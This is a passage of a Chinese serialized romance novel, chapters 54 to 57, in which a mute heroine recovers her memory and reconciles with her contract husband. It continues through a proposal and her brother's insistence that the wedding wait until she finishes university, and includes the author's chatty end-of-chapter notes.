她猛地睁开眼睛,胸腔剧烈起伏着。 窗外的月光淌了满室,而她,还好好地躺在病房上。 原来,是一场梦。 就在这时,裤脚忽然被轻轻扯了一下。 诸愿惊愕地抬头,正好看见顾识弈。 他站在床尾,微微弯腰,手正伸进被子里,小心翼翼地替她把蹭到膝盖上的裤脚拉了下来。 月光落在他的脸上,勾勒出柔和的轮廓。 他直起身,两人的目光在朦胧的月色里撞了个正着。 顾识弈的眼底带着显而易见的歉意,声音轻得像羽毛:“对不起,是不是我把你弄醒了?” 诸愿看着他,眼眶瞬间又红了。 她突然想起,在M国的那些夜晚,她总觉得有人在轻轻扯她的裤脚或是掖好被角,那时她以为是哥哥,又因为睡得太沉了,懒得起身查看,便没放在心上。 后来记忆一直没恢复,面对哥哥时总有些尬尴,这件事也就不了了之。 可是现在,看着顾识弈这个动作,她心头大震。 那个在深夜里,悄悄替她 拉好裤脚的人,到底是谁? 如果是顾识弈……那是不是意味着,他当年不告而别后,其实又回来了?还一直在偷偷看她,只是她不知道而已? 月光静静流淌着,诸愿的眼泪,又一次无声地落了下来—— 作者有话说:修改了一下,更新了几百个字,看过的不用重买,只需要刷新一下就行[好的] 第54章 “愿愿别哭。”顾识弈的声音绷得发紧,心像是被重锤狠狠捣碎,疼得他眼框发酸,“我看裤脚勒得你难受,才悄悄帮你扯下来。下次我动作再轻些,好不好?或者……我直接去给你买束脚裤,这样就再也不会磨到你了。” 诸愿的眼泪掉得更凶了,指尖抖着飞快比出一串手语:〈为什么要一直瞒着我?〉 顾识弈心头狠狠一咯噔。 她知道了? 也是,纸终究包不住火。 是他太自以为是,总想着等她身体再好些,再把真相摊开。 可偏偏,每次都是让她自己撞破,让她一次又一次的难过。 愧疚像潮水般漫上来,几乎要将他整个人淹没。 “对不起。”他声音沙哑得厉害:“那场团建是我和别人联手策划的。要不是我,你不会发病,更不会躺在这里遭罪。一切都是我的错。” 生怕她下一秒就比划着让他走,顾识弈急急打断她的动作,语气里带着一丝自己都没察觉的哀求:“我这么坏,你不喜欢我是应该的。但是愿愿……能不能别赶我走?就让我守着你,好不好?” 他想说,等你遇到真正喜欢的人,我就走。 可这话堵在喉咙里,怎么也吐不出来。他不愿,不愿意她身边站着别人。 诸愿怔怔地看着他,滚落的眼泪倏地就停住了。 她怎么也没想到,那天她和苏沐下车时,看到的那家金碧辉煌的团建酒店,竟是顾识弈为了见她,砸下重金布置的局。 原来那个“幸运员工”,是她自己! 复杂的情绪堵在胸口,她想哭,却又觉得喉咙发涩,最后只能红着眼眶,怔怔地看着他。 翌日傍晚,诸贺刚推开病房门,便撞见诸愿横握着手机,指尖在屏幕上轻点,像是在玩什么小游戏。 旁边的陪护椅上,顾识弈正低着头削苹果,果皮被他削成一条匀整的螺旋,不断地往下垂落。 他切下一小块果肉,用叉子叉起,递到诸愿嘴边。 两人靠得极近,气氛平和又融洽,反倒显得他这个推门而入的人,像个突兀的闯入者。 他微微吃惊,但两人淡定自若的显得只有他很奇怪。 诸贺轻咳一声。 诸愿像是被惊到,猛的抬起头,看清来人是他,耳根瞬间泛红,慌忙抬手推开顾识弈递来的苹果。 顾识弈循着她的视线望过来,指间的叉子顿了顿,随即起身,语气是前所未有的温和妥帖:“贺哥。” 诸贺挑了挑眉,有些稀奇。 从前这人看他,眼神里总是带着一股子莫名的敌意,哪怕是在M国低声下气求他让他看一眼诸愿,也不过是喊一声“贺总”。如今倒是转了性,竟肯这般心甘情愿地喊他一声“贺哥”了。 他没多说什么,只是淡淡“嗯”了一声,随即转向诸愿,眉眼瞬间柔和下来:“今天感觉怎么样?” 诸愿指尖微动,比划:〈不疼了。〉 诸贺点头,说着,“我帮你洗头吧。”便挽起了袖子。 诸愿的心猛地一跳,飞快地瞥了顾识弈一眼,才强作镇定地比划:〈已经洗过了。〉 诸贺挽袖子的手一顿,目光若有似无地落在顾识弈身上。 后者迎上他的视线,眉峰几不可查地挑了挑,却又像是顾忌着什么,终究只是平静的看着他,没什么多余的动作。 诸贺了然地收回目光,看向自家妹妹。 少女正低下头,眼神飘忽不定,连看都不敢看他。 他无奈地叹了口气,将到嘴边的话咽了回去,换了个轻松的话题:“饿了吗?晚餐应该快送来了。” 诸愿连忙点头,又忍不住看向顾识弈。 后者立刻站起身,对诸贺颔首道:“贺哥,我有点事,先回家一趟,晚点再过来。” 这下,连诸贺都有些意外了。 顾识弈守着诸愿,向来跟守着稀世珍宝似的,寸步不离,今天竟然主动提出离开?他心里的那点猜测,倒是变得模糊起来。 他没理由阻拦,只是点了点头。 晚饭送到后,诸贺将筷子递给诸愿,自己也拿起一双。 刚吃了一口,就察觉到对面的少女没动筷子,只是咬着筷子头,一瞬不瞬的看着他。 他扫了一眼桌上的菜,全是诸愿平日爱吃的口味。 “怎么了?不喜欢?” 诸愿连忙摇头,指尖飞快地比划:〈喜欢吃的!〉 诸贺放下筷子,心知她这副模样定是有话要说,干脆开门见山:“有事?” 诸愿咬了咬唇,知道躲不过去了。 她斟酌着,指尖缓缓动起来:〈我失忆的时候,一直觉得顾识弈他……并不喜欢我。〉 说到这里,她顿了顿,抬眼看向哥哥。见他好整以暇的看着自己,像是早就看穿了她的心思,诸愿的脸颊微微发烫,后面的话,竟有些说不下去了。 诸贺无奈地又叹了口气,顺着她的话往下说:“既然这样,正好。五月协议就到期了,你给他一份离婚协议,从此两清,各不相干。” 诸愿愣住了,怔怔地看着他,像是没料到他会说得如此直接。 诸贺看着她的反应,心里便有了数。 果然,下一秒就见少女急急忙忙的比划着,指尖都带着点慌乱:〈不是的,我现在才发现,我之前都误会他了。他不是不喜欢我,他很喜欢我。〉 诸贺的眉头微不可察地皱了起来。 这丫头,终究还是被顾识弈的手段哄住了。 他心里有些不爽,却也清楚,感情的事,旁人再怎么阻拦,都是无用的。 他不咸不淡地“哦”了一声,重新拿起筷子,才慢悠悠地问:“那你现在,怎么想?” 少女的眼睛瞬间亮了起来,像是得到了赦免,连忙比划着:〈顾识弈说,我之前在万宜亲手种了一株山茶花,今年十月份就要开花了。〉 她说着,又小心翼翼地偷觑了一眼诸贺,指尖的动作慢了下来,带着点小心翼翼的试探:〈那是我亲手种下的,要是看不到它开花……是不是太亏了?〉 言下之意,五月就离婚的话,她就看不到十月那株山茶花绽放的模样了。 诸贺差点被食物噎到,心里又好气又好笑,却故意板着脸,故作沉思了片刻,才点头道:“嗯,确实挺亏的。” 在诸愿期待的目光里,他缓缓开口:“那你就去跟顾识弈说,把那份协议解除了。” 〈他已经跟我说过了!〉诸愿下意识比划出手语,比划完才后知后觉地察觉到不对劲,狐疑地看着诸贺,指尖动了动:〈哥哥,你不是一直都讨厌他吗?〉 诸贺舀汤的手一顿。 他自诸愿失忆后,从未在她面前表露过对顾识弈的半分反感。 她会这么问,只有一个可能—— 她的记忆,全都恢复了。 他将盛好的汤碗推到她面前,眼底的笑意温柔的能溢出水来:“傻丫头,哥哥只做你最坚实的后盾。” 你只管往前跑,去追你想要的幸福。 诸愿捧着温热的汤碗,眼眶倏地就红了。 原来,哥哥从来都没有想过要阻止她。他只是以为她不喜欢顾识弈,才会对顾识 弈摆脸色,才会处处替她设防。 水雾在眼眶里打转,她吸了吸鼻子,对着诸贺认真地比划:〈哥哥最好了!我最喜欢哥哥!〉 诸贺失笑,抬手揉了揉她的头发:“快喝汤,凉了就不好喝了。” 晚上八点,顾识弈像是掐着表似的准时回来。 诸贺陪着诸愿又玩了两把贪吃蛇,便识趣地离开了。 诸愿这才彻底相信,哥哥是真的不讨厌顾识弈了。 一周后,诸愿终于可以出院了。 收拾好东西时,顾识弈突然开口声音里带着一丝不易察觉的紧张:“愿愿,陪我回万宜吧。” 诸愿咬苹果的动作一顿,指尖比划着:〈哥哥不会同意的。〉 “我们又不是未婚同居。”顾识弈看着她,眼神认真,“我们是领了证的,以后本就该住在一起,为什么不能现在就回去?” 他顿了顿,又放软了语气,像是在循循善诱:“你离开快半年了,静姨每天都在问我,你什么时候回去。她那么想你,你就不想她吗?” 诸愿的心动摇了。 顾识弈趁热打铁,声音里带着点委屈:“我也很想你。如果你回了贺哥家,我就不能随时看到你了。” 少女的心彻底软了下来,轻轻点了点头。 没过多久,诸贺就办完出院手续回来了。 他拎起一旁早已收拾好的行李箱,朝卫生间的方向喊了一声:“愿愿,好了吗?可以出院了。” 顾识弈站起身,迎了上去,语气平静却带着笃定:“贺哥,愿愿说,要跟我回万宜住。” 诸贺的眉头骤然拧紧,锐利的目光直直地看向卫生间的方向。他瞬间就明白了,为什么自家妹妹躲在里面,迟迟不肯出来。 他没理会顾识弈,只是又喊了一声,声音比刚才沉了几分:“愿愿。” 诸愿缩了缩脖子,哪里还敢再躲。 平日里,她被哥哥宠得无法无天,可只要诸贺沉下脸,她就会立刻怂成一只小鸡崽,连大气都不敢喘。 她慢吞吞地从卫生间里挪出来,想扯出一个笑容缓和气氛,可对上诸贺那双带着温怒的眼睛,所有的话都堵在了喉咙里,只能慌乱地移开视线。 目光不经意间对上顾识弈,对方正看着她,眼神里分明写着——你答应过我的。 没等诸愿做出任何反应,诸贺已经大步走到她面前,伸手攥住了她的手腕。掌心带着不容置喙的力道,语气冷硬:“跟哥哥回家。” 顾识弈站在原地,眼神沉静地看着眼前的一幕。 他不信诸愿会跟诸贺走。 她向来言而有信,答应了他的事,就一定会做到。 可下一秒,他就眼睁睁看着,诸贺拽着诸愿的手腕,径直朝门口走去。 少女耸拉着脑袋,连头都不敢回,乖乖地跟在诸贺身后,一步一步地往外走,连一丝一毫的反抗,都不敢有。 第55章 顾识弈追出医院大门时,只来得及看见诸贺利落关上副驾车门的动作。 车窗缓缓降下,诸愿探出头来,看向他的眼神里明晃晃写着“爱莫能助”。 不等他开口,诸贺看向他,语气客气得近乎生分,一句话就将所有余地封死:“顾总,有空欢迎常来找我们家愿愿玩。” 说完,他转头看向妹妹,声线放柔了些许:“愿愿,跟顾总挥手再见。” 诸愿乖乖抬起手,冲他挥了挥手,小幅度的动作里透着几分无奈。 顾识弈站在原地,看着那辆黑色轿车绝尘而去,嘴角抽了抽。 这分寸,拿捏得可真是精准,礼貌得恰到好处,又疏离得泾渭分明。 不过,诸贺那句“欢迎来找愿愿”,倒也不是全然将路堵死。 至少说明,他不是真的要拆散自己和愿愿。 果然,到了晚上,诸愿的视频电话就打了过来。 屏幕里的少女比划着手语,跟他解释:〈哥哥思想比较传统,觉得没办婚礼住在一起,不合规矩。〉 顾识弈听完,非但没觉得诸贺多事,反而生出几分愧疚,声音放得格外温柔:“是我太心急了,考虑不周。你放心,婚礼的事,我早就叫人筹备了。” 诸愿叉着苹果块往嘴里送的手猛地顿住。 她忽然想起很久之前,和海武哥一起吃饭时,顾识弈似乎也曾提过一句,“婚礼还在筹备”。 那时候她只当两人是协议结婚,不过是做给外人看的表面功夫,压根没把这话当真。 难道……他那时候说的,是真的? 她心里这么想着,便直接比划着手语问了出来。 顾识弈看着屏幕里她那双写满疑惑的眼睛,低笑一声,点头承认:“嗯,是真的。只是后来出了点事,筹备的事就暂时搁置了,现在重新启动,还需要些时间。” 诸愿连忙摆手比划:〈没关系的,我不着急。〉 “可我着急。”顾识弈漆黑的眼眸里盛着滚烫的光,一字一句都透着难以掩饰的渴望,“愿愿,我想快点把你娶回家。” 这话像石子投进诸愿的心湖,漾得她脸颊瞬间爆红。 她手忙脚乱地比划了一句:〈我要去洗澡了,先挂了!〉 不等顾识弈回应,便慌慌张张地挂断了电话。 手机屏幕骤然变成聊天框,顾识弈盯着屏幕,无奈又宠溺的笑出了声。 第二天清晨,诸愿是被窗外的阳光刺醒的。 她揉着惺忪的睡眼摸过手机,一眼就瞥见了顾识弈发来的消息,时间显示是八点半:【愿愿,早安。醒了吗?我给你打包了静姨做的早餐。】 而此刻,已经是上午十一点半了。 诸愿意识到这相差了三个小时,脸颊腾地烧了起来。 她素来爱睡懒觉,以前在顾家时,总是睡到日晒三竿才起,后来工作了才被迫养成早起的习惯。 想来是那段时间的相处,让顾识弈误以为她是个早睡早起的人。 她咬着唇,飞快地敲下一行字:【现在才看见消息。】 至于为什么没看见,她没说。不说,就不算欺骗。 反正,她确实是刚看见的。 放下手机去洗漱,再回来时,顾识弈的消息已经回了过来,半点没追问她迟回的原因:【正好,我过来接你,一起去吃午餐。】 诸愿松了口气,指尖轻快地敲下两个字:【好呀。】 走出卧室,就看见餐桌上摆着哥哥留的早餐,旁边还压着一张便签,上面写着两家现炒店的名字,备注着“喜欢哪个直接扫码点,钱已经付过了。” 她笑着把早餐放进冰箱,打算留着下午饿了再吃。刚收拾好,顾识弈的消息就弹了进来:【我到楼下了。】 诸愿拎起包,脚步轻快的跑下楼。 一顿午饭吃的美味又惬意。 饭后,顾识弈状似随意地问她:“下午在家没什么事吧?要不要跟我去正远?” 诸愿目前的头等大事就是找工作,闻言立刻点头应下。 坐进车里,顾识弈又问她:“找工作的话,还是想做模特吗?” 诸愿愣了愣。 当初入行做模特,不过是机缘巧合。要说多喜欢,好像也谈不上,她认真想了想,发现自己似乎并没有特别热衷的职业方向。 看出她的迷茫,顾识弈伸手揉了揉她的头发,轻声道:“没关系,慢慢来,不着急。” 从那天起,顾识弈就成了诸愿的专属“玩伴”,每天变着花样带她去吃各种美食,周末更是直接拎着她飞出国,去看不同的风景。 诸贺那边,从一开始的横眉冷对,到后来的睁一只眼闭一只眼,最后干脆放弃了抵抗,只剩下一个固定动作——定期给诸愿转账。 这天闲来无事,诸愿去万宜别墅看望静姨,刚进庭院,就看见静姨正提着水壶,在院子里侍弄那些山茶花。 看见她,静姨手里的水壶“咣当”一声掉在地上,愣了足足半分钟,才颤着声音喊了一声:“太太!” 她快步走上前,紧紧握 住诸愿的手,眼眶瞬间红了,嘴里反复念叨着:“原来顾总说的是真的,您真的回来了!回来了就好,回来了就好啊!” 温热的泪珠砸在诸愿的手背上,静姨吸了吸鼻子,又絮絮叨叨地跟她说起往事:“您不知道,您不在的那些日子,顾总每天都会去您的房间待着。有时候一坐就是大半天,有时候……甚至一整晚都不出来。” 诸愿怔住了。 “你放心,顾总只是坐,从来都不碰房间里的东西。”静姨擦了擦眼泪,笑着补充道,“怕是舍不得碰,怕您回来瞧着不高兴。” 她说着,拍了拍诸愿的手:“您先坐着,我去给您做些爱吃的点心。” 诸愿笑着点头,比划了个“谢谢”的手势。 独自坐在客厅里,静姨的话在耳边反复回响。 诸愿心里痒痒的,忍不住起身,脚步轻缓地踏上了二楼。 推开那扇熟悉的卧室门,铺面而来的是熟悉的气息。 半年多的时光过去,房间里的一切都和她离开时一模一样。 阳光透过窗子洒进来,落在柔软的被褥上,恍惚间,竟让她生出一种从未离开过的错觉。 她忽然闻到一缕清冽的松木香,不等她回头,一双有力的臂膀便从身后轻轻环住了她的腰。 男人的下颌线抵在她的头顶,声音沙哑得不像话,带着几分失而复得的哽咽:“愿愿……我好像在做梦。你回来了,真好。” 诸愿眨了眨眼,心里只想着,现在才下午五点,他怎么会突然回来?难道是翘班了? 仿佛看穿了她的心思,顾识弈低头,在她头顶印下一个轻柔的吻,声音里满是缱绻:“静姨说你回来了,我就回来了。” 诸愿转过身,撞进他深邃的眼眸里。四目相对的瞬间,顾识弈俯身,温热的唇轻轻覆上她的唇瓣。 浅尝辄止的吻,带着极致的眷恋,缓缓蔓延到她的脖颈。 诸愿仰着头,视线落在天花板的水晶灯上,大脑一片空白,心跳却快得像要炸开。 直到那温热的触感快要抵达锁骨,她才猛地抬手,捂住了自己的衣领。 顾识弈的唇落在她的手背上,抬眼看向她时,眼底翻涌着浓得化不开的欲望,声音暗哑:“怎么了?” 诸愿的脸颊红得能滴出血来,避开他的目光,有些不好意思地比划着手语:〈哥哥说,没举办婚礼之前……不能这样。你别哄骗我。〉 顾识弈闻言,磨牙,一边觉得诸贺教得好,一边又恨诸贺防的偏偏是他! 不过,上有政策,下有对策,他很快就想到了理由,低头蹭了蹭她的脸颊,柔声哄道:“乖,现在才五月初。我们的结婚协议还没到期。在这之前,你还是我的顾太太,做这些事,不算逾矩。等协议到期,婚礼也该准备好了,到时候……我们再光明正大地在一起。” 这番话听得诸愿面红耳赤,竟觉得莫名有道理。 顾识弈趁机再次俯身,手已经轻轻搭在了她的衣襟纽扣上。 就在这时,诸愿忽然想起什么,抬手按住了他的手,比划着问道:〈可是协议里,好像没说要尽夫妻义务吧?〉 顾识弈的动作猛地僵住。 他看着少女那双澄澈又无辜的眼睛,心里只有一个念头—— 当初怎么就没把这条加上呢! —— 时光荏苒,转眼又是一年小满。 去年的这一天,诸愿稀里糊涂地和顾识弈领了结婚证。现在回想起来,只觉得荒唐又好笑。可再想到如今两人的情意,那份荒唐里,又多了几分命中注定的圆满。 顾识弈一大早就出了门,直奔市中心的珠宝店。 半年前就开始定制的戒指,今天终于可以取了。 昨天他特意以静姨生日为由,约了诸愿来万宜。 一想到等会儿就能跟她求婚,顾识弈的脚步都变得轻快起来,嘴角的笑意怎么也压不住。 旁边的林秘书和王叔对视一眼,看着老板亲自走进珠宝店的背影,眼底满是了然。 自家老板这是要好事将近了。 揣着那枚精心打磨的戒指,顾识弈回到别墅,刚进门,静姨就迎了上来,低声告诉他:“太太已经到了,在楼上卧室里呢。” 顾识弈点点头,按捺住心底的狂喜,一步当作三步,飞快地冲上二楼。往日里的沉稳自持,在这一刻荡然无存。 他轻轻推开门,一眼就看见诸愿背对着他,坐在梳妆台前。 “愿愿。”他开口,声音里带着难以掩饰的笑意。 诸愿回过头,没有像往常一样朝他笑,只是静静地看着他,然后,递过来一张纸。 顾识弈伸进口袋里准备掏戒指的手顿住。他狐疑地接过那纸张,视线落在最上方的那几个大字上——离婚协议书。 原来,那些倾注心血的烛光晚餐、环球旅行的机票,在少女澄澈的目光里,不过是交易完成的凭证。 一滴水珠猝不及防地砸在纸上,晕开了“离婚”两个字的墨迹。 顾识弈愣了愣,才迟钝地发现,那是自己的眼泪。 自十岁那年父母双亡,他就再也没有哭过了。 他抬起头,看向眼前的少女,心脏像是被一把钝刀,一下一下地凌迟着,疼得他连呼吸都在发颤。 真的……好难过。 深夜的别墅里,窗外飘着淅淅沥沥的雨。 顾识弈将浑身僵硬的少女紧紧圈在怀里。面对她突如其来的“小脾气”,他早已应对自如,却唯独怕她比划出那两个字。 他捏起她纤细的手指,按在自己裸露的胸膛上,一遍又一遍地引导着不会说话的诸愿,一笔一划地写下“愿愿爱我”四个字。 他的嗓音沙哑得厉害,呼吸里裹着压抑不住的灼热:“已经很轻了……” 往日里的冷硬在这一刻尽数褪去,只剩下小心翼翼的卑微和恳求。 他低下头,额头抵着她的额头,温热的泪水落在她的脸颊上,带着绝望的哀求。 “别离开我……好不好?” 第56章 雨势渐大,噼里啪啦地打在玻璃上,别墅里却静的可怕。 她刚被顾识弈伺候着梳洗完毕,换上一身柔软的棉质睡衣,此刻正坐在在床沿,身侧的男人却像只被遗弃的大型犬,双臂死死箍着她的腰。 诸愿侧头,目光落在床头柜那张被泪水洇开字迹的离婚协议书上,眼底满是无措。 她从来没想过,真的要和顾识弈离婚。 今天是小满,是他们领证一周年的日子,她只是想逗逗他,想看看向来沉稳的男人,会不会因为这张纸乱了方寸。 静姨早上被她识破“生日”谎言后,在她软磨硬泡的追问下,终于告诉她,顾识弈为了今天,准备了很久。 她一下就猜到了是为什么,这才起了捉弄的心思。 翻出抽屉里那张领证第二天就备好的离婚协议书,计划着等顾识弈出现的那一刻,拿出来吓他一大跳。 可她怎么也没想到,会把他惹哭。 更没想到后来会失控到那般地步,她连一句手语都没来得及比划! 心脏像是被掐住,诸愿后知后觉地发现,自重逢时她意外住院,后来又接连闹出那么多误会,她好像从来没想过,顾识弈竟是这样没有安全感。 明知她曾“背叛”,却因爱她半步不舍得伤她。 察觉她有抑郁倾向,便忍痛放她离开。 她失忆后忘了那句“等哥哥康复就回来”的承诺,甚至残忍地提出提前解约,他却从未说过一句怨怼的话,只一味地道歉、害怕她抛弃他。 若是易地而处,她怕是早就撑不住了。 诸愿深吸一口气,抬手便飞快的比划着手语,指尖的动作急切又慌乱,生怕慢一秒,男人就会彻底陷入被抛弃的深渊:〈这离婚协议书是假的!是骗你的,对不起,我不是真的要和你离婚……〉 顾识弈的身体猛地一僵,埋在她颈窝的脑袋缓缓抬起。 他的眼眶红得吓人,平日里那双深邃如寒潭的眼眸,此刻盛满了红血丝,眼底的绝望还没来得及褪去,又染上了几分茫然。 他死死盯着她翻飞的指尖,喉结艰难地滚动了一下,声音沙哑得像是被砂纸磨过:“骗我的?” 诸愿用力点头,抬手抚上他的脸颊,指尖拭去他眼角的湿意,微凉的触感让男人微微一颤。 她又加快了手语的速度,眉眼间满是愧疚:〈今天是小满,是我们领证的日子。我只是想跟你开玩笑,想看看你会不会紧张。〉 话音落,她轻轻挣开他的怀抱,在他紧张得屏住呼吸的目光里,跪爬到床头,从梳妆台抽屉里,摸出一个绣工精致的香囊。 那是她早就准备好的周年礼物——藕荷色的锦缎上,用金线绣着一个遒劲的“顾”字,针脚略糙却格外密实,藏着她无数个日夜的惦念,背面是两只比翼鸟。 上次飞往M国的前一晚,她无意间听到他念叨着想要一个她亲手绣的香囊,她立刻猜到他看见了自己绣给哥哥的那只“厄运退散”的鲤鱼香囊,奈何当时时间太赶,根本不可能绣好。 后来在异国他乡的日夜里,她一针一线地慢慢绣完,却因失忆被压在了箱底,直到记忆回笼,她才猛然想起,今天特意带了过来。 顾识弈原本紧绷的下颌线微微松动,目光落在那个香囊上时,彻底怔住了,良久才缓缓抬眼,看向她泛红的眼眶。 少女眼底的愧疚快要溢出来,像一簇小火苗,燎得他心脏处的钝痛一点点消散,取而代之的是失而复得的狂喜,还有些哭笑不得的无奈。 他猛地伸手,将她紧紧拥入怀中,力道大得像是要将她揉进骨血里:“你个小坏蛋。” 咬牙切齿的语气里,却裹着浓浓的后怕,“知不知道,刚才我差点以为……以为你真的要离开我了。” 诸愿主动伸手环住他的腰,脸颊贴在他滚烫的胸膛上,听着他有力的心跳,一下又一下,撞得她心尖发烫。 顾识弈小心翼翼地拿起那个香囊,指尖摩挲着上面的绣字,轻轻打开的瞬间,一枚素圈戒指露了出来。 银色的戒身,边缘刻着两人名字的缩写——ZY&GSY。 简单却满是爱意。 顾识弈的眼底瞬间泛起一层水雾,后知后觉地想起自己刚才的失控,连声道歉:“对不起,我刚刚……” 话没说完,诸愿便仰头,吻住了他的唇。 她刚刚虽然没意料到会这般失控,却并非不情愿。 这场失控,从来不是他一个人的错。 唇齿相依间,满室旖旎。 良久,两人气喘吁吁地分开,鼻尖抵着鼻尖,呼吸交缠,眸子里盛着彼此的身影。 顾识弈忽然从西装内袋里掏出一个丝绒盒子,单膝跪在地上,缓缓打开。 璀璨的钻戒映入眼帘,戒托上镶嵌着细碎的碎钻,中间那颗鸽子蛋大小的主钻,在暖黄的灯光下折射出耀眼的光芒,晃得诸愿睁不开眼。 “愿愿,”顾识弈仰头望着她,眼底的深情浓得化不开,“不管有没有协议,我想娶的人,从来都只有你一个。” “你愿不愿意,嫁给我?” 诸愿用力点头,眼泪毫无预兆地掉了下来。 顾识弈执起她的手,将钻戒轻轻套进她的无名指,尺寸刚刚好。 诸愿看着手指上熠熠生辉的钻戒,又看着他掌心那枚朴素的素戒,鼻尖一酸,眼泪掉得更凶了。 顾识弈连忙起身,用指腹拭去她的泪痕,声音温柔得能滴出水来:“怎么还哭了?” 诸愿吸了吸鼻子,比划着手语,眼底却漾着明亮的笑意:〈你给我准备了钻戒,我却只能给你素戒,这哪像一对。〉 顾识弈低笑出声,俯身吻了吻她的额头:“都是我们为彼此特意准备的,满载着爱意,怎么不算一对?” 诸愿愣住,随即眉眼弯弯,比划着:〈那你要不要……戴上我给你选的戒指?〉 顾识弈毫不犹豫地伸出手,诸愿笑着为他戴上。 戒指很素,除了刻字,没有任何花哨的装饰,材质也不是什么名贵的铂金,可他却宝贝得不行,反复摩挲着戒身。 看着两人手上款式迥异却格外般配的戒指,他眼底的笑意怎么也藏不住。 窗外的雨不知何时停了,一缕阳光穿透云层洒进卧室,落在相拥的两人身上,镀上一层金边。 顾识弈俯身,再次吻住她的唇。 这一次,没有犹豫,没有克制,只有满心的欢喜和眷恋。 诸愿闭上眼,抬手环住他的脖颈,青涩地回应着。 卧室里的温度渐渐升高,空气里弥漫着甜腻的气息,连时光都仿佛变得缓慢。 良久,顾识弈才松开她,额头抵着她的额头,声音暗哑:“婚礼定在下个月,好不好?” 诸愿睁开眼,撞进他满是期待的眼眸里,用力点头,比划着:〈好!〉 顾识弈笑意加深,吻了吻她的眉眼,满心满眼都是化不开的柔情。 然而,当诸愿把婚期定在下个月的消息告诉哥哥诸贺时,却遭到了他的强烈反对。 顾识弈得知后,拿出保险柜里的东西,第一时间便驱车赶来了诸家。 诸愿小跑着出来迎他,将人带进客厅。 她和哥哥现在住的房子不大,只有两室一厅,哥哥卧室还是客卧改造的,空间狭小得连张书桌都放不下,因此他每次处理公务,都只能在客厅的茶几上。 诸贺抬眸看了两人紧握的手一眼,面无表情地合上笔记本电脑,对诸愿道:“愿愿,回房间。” 诸愿捏了捏顾识弈的手指,偷偷给他比了个“加油”的口型,这才不情不愿地回了卧室,关门前,却又留了一条缝隙,偷偷偷听客厅的动静。 客厅里的气氛并没有想象中的剑拔弩张。相反,诸贺还尽了地主之谊,沏了一壶热茶,递给顾识弈一杯。 顾识弈接过,礼貌颔首:“谢谢贺哥。” 诸贺自然知道他的来意,也没绕弯子,开门见山:“我知道你不介意愿愿的声障,也不在乎她娘家能不能给顾家带来助力,我不同意你们下个月办婚礼,跟这些都没关系,你不必跟我做任何承诺。” 顾识弈拿了许多资产,又准备了一肚子的话,现在全部堵在了喉咙里,心底满是狐疑。 不是这些原因,那是为什么?难道是觉得他对愿愿,并非真心? 正当他准备开口剖白心意时,诸贺却先一步开口,声音平静却带着不容置疑的坚决:“四年前,我出了车祸,愿愿那时候才读大一,就被诸世青逼着办了休学。我知道她从来没说过,但心里一直惦记着要回学校。这个月我已经在帮她走复读手续了,九月就能重新入学,像个普通的女孩子一样,安安稳稳地读完大学。” 他抬眸,看向顾识弈,目光锐利:“顾总位高权重,愿愿一旦和你举办婚礼,必定会登上新闻头条,到时候照片满天飞,我不想她复学后,被人指指点点,更不想她因为顾家夫人的身份,失去本该有的平静生活。希望顾总,能为愿愿考虑一下。” 这番话,像两颗惊雷,在顾识弈的脑海里炸开,震得他半响回不过神。 他震惊的,一是诸愿竟然没有毕业。 他十八岁就拿到了双学位,接手家族企业,下意识里,便以为聪慧的诸愿早已完成了学业。 二是,如果诸愿要等毕业才能举办婚礼,那就意味着,他还要再等整整三年!—— 作者有话说:趁着还没人看,修改几个错别字[可怜] 应该肯定,明天就大结局了吧?[捂脸偷看] 其实我从上上周开始就说上周日大结局,结果写到了这周,以为最多周中就大结局,结果硬是写到了今天周六还没大结局。 宝子们是不是也看腻了,觉得为什么还没有大结局[爆哭]因为我在填坑,莫名其妙就越扯越多剧情,怕不完整也不会砍不需要的剧情,哎,还不是一个成熟的作者[摊手]感谢包容,好了今天的碎碎念结束,周末愉快[抱抱]《 》 【终章】 第57章 诸愿怎么也没想到,顾识弈会答应。 当那声干脆的“好”落下时,她扣着门把手的指尖倏然一松,连带着心跳都漏了半拍。 送顾识弈下楼的路上,晚风卷着几分凉意,吹着她鼻 尖微痒。 她终究还是忍不住,抬手比划手语:〈你真的同意,等三年后再跟我办婚礼吗?〉 顾识弈的脚步顿住,侧身看向身旁的少女。 路灯的光晕落在他轮廓分明的脸上,柔和了眉眼。 他点了点头,见她眼底的困惑愈发浓重,便俯身轻轻将她揽进怀里,声音低沉而温柔:“我知道你怕我等太久会没有安全感,但其实我不怕。” 他松开她,轻轻捏了捏她的脸颊,在她似懂非懂的目光里,一句一句说得郑重:“从我知道你也喜欢我,不会跟我离婚的那一刻起,我就知道,我已经完全拥有你了。” “所以贺哥叫我再等三年,我也愿意。何况,”温热的呼吸拂过她的耳畔,带着几分狡黠的笑意,“他只是不让我们办婚礼,又没说,我们不能往来。” 诸愿歪着脑袋,澄澈的眸子里满是茫然,半点没参透他这话里的玄机。 直到四个月后,她返校后第一个假期,拎着行李箱回到家时,正撞见顾识弈站在她家门口,手里还拿着一个红本本。 “学校宿舍条件太差了,”顾识弈将房产证推到诸贺面前,眉眼间的关切恰到好处,挑不出半分错处,“天冷了,连个热水澡都洗不痛快,还要排老长的队。我提议,让愿愿搬出来住。” 诸愿的目光落在房产证上的地址,赫然是她隔壁那栋高档公寓,瞬间恍然大悟。 原来顾识弈的答应,竟是这般以退为进的心思。 更秒的是,他这番话句句都是为她着想,诸贺就算想反驳,也找不出半点理由。 果然,诸贺看向她,语气里带着几分审视:“愿愿,他说的是真的?” 诸愿哪会拆顾识弈的台,连忙抿着唇,一本正经地点了点头。 为了让哥哥彻底松口,她又飞快地比划着手语:〈我们班好多女生都嫌宿舍热水不够,还特意凑钱开钟点房洗澡呢。不过我觉得那样太麻烦了。〉 诸贺沉默片刻,终是妥协了。 后来诸愿才知道,诸贺每个月都会准时打五千块的房租到顾识弈账户上。 在哥哥眼里,只要婚礼没办,她就不算真的嫁给顾识弈,自然也就不能平白无故花他的钱。 诸愿懂诸贺的疼惜,对此半点意见都没有,反倒是顾识弈,明明耍了心眼占了上风,却反倒蔫蔫的,颇有些郁闷。 晚间两人沿着江边散步,晚风拂过,带着江水的湿润气息。 顾识弈状似不经意地开口,语气里藏着几分不易察觉的酸意:“愿愿,贺哥怎么一直没找女朋友?他快三十了吧?” 诸愿点了点头,理所当然地比划:〈哥哥现在忙着创业呢,每天脚不沾地,没时间找很正常啊。等再过两年,事业稳定了,肯定就会考虑了。〉 顾识弈一肚子的话,瞬间被堵了回去。 诸愿看着他悻悻的模样,忽然反应过来,弯了弯眉眼,抬手比划:〈你该不会是在吃醋吧?因为哥哥对我好,你就觉得……?” 